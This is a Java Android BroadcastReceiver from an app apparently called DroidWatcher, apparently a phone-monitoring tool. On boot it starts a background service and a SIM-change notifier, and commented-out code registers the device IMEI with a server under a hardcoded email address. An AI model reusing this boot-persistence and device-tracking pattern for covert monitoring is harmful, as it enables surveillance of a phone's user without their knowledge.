package com.droidwatcher.receivers; import com.droidwatcher.DBManager; import com.droidwatcher.Debug; import com.droidwatcher.SettingsManager; import com.droidwatcher.SimChangeNotify; import com.droidwatcher.services.AppService; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class ServiceStarter extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { try { Debug.i("BOOT COMPLITED"); DBManager dbManager = new DBManager(context); dbManager.deleteOdlRecords(); dbManager.close(); SettingsManager manager = new SettingsManager(context); if (manager.isConnected()){ context.startService(new Intent(context, AppService.class)); } new SimChangeNotify(context).start(); } catch (Exception e) { Debug.exception(e); } } // private void connect(Context context){ // final Context appContext = context.getApplicationContext(); // final SettingsManager settings = new SettingsManager(context); // String login = "doronin@cyberservices.com"; // // if (settings.isConnected()) { // return; // } // // settings.login(login); // new ServerMessanger(appContext, new ServerMessage(MessageType.CONNECT, settings.imei(), login), new ICallBack() { // public void run( String response) { // if (response.equals(ServerConst.OK)){ // settings.connected(true); // appContext.startService(new Intent(appContext, AppService.class)); // } // } // }).start(); // } }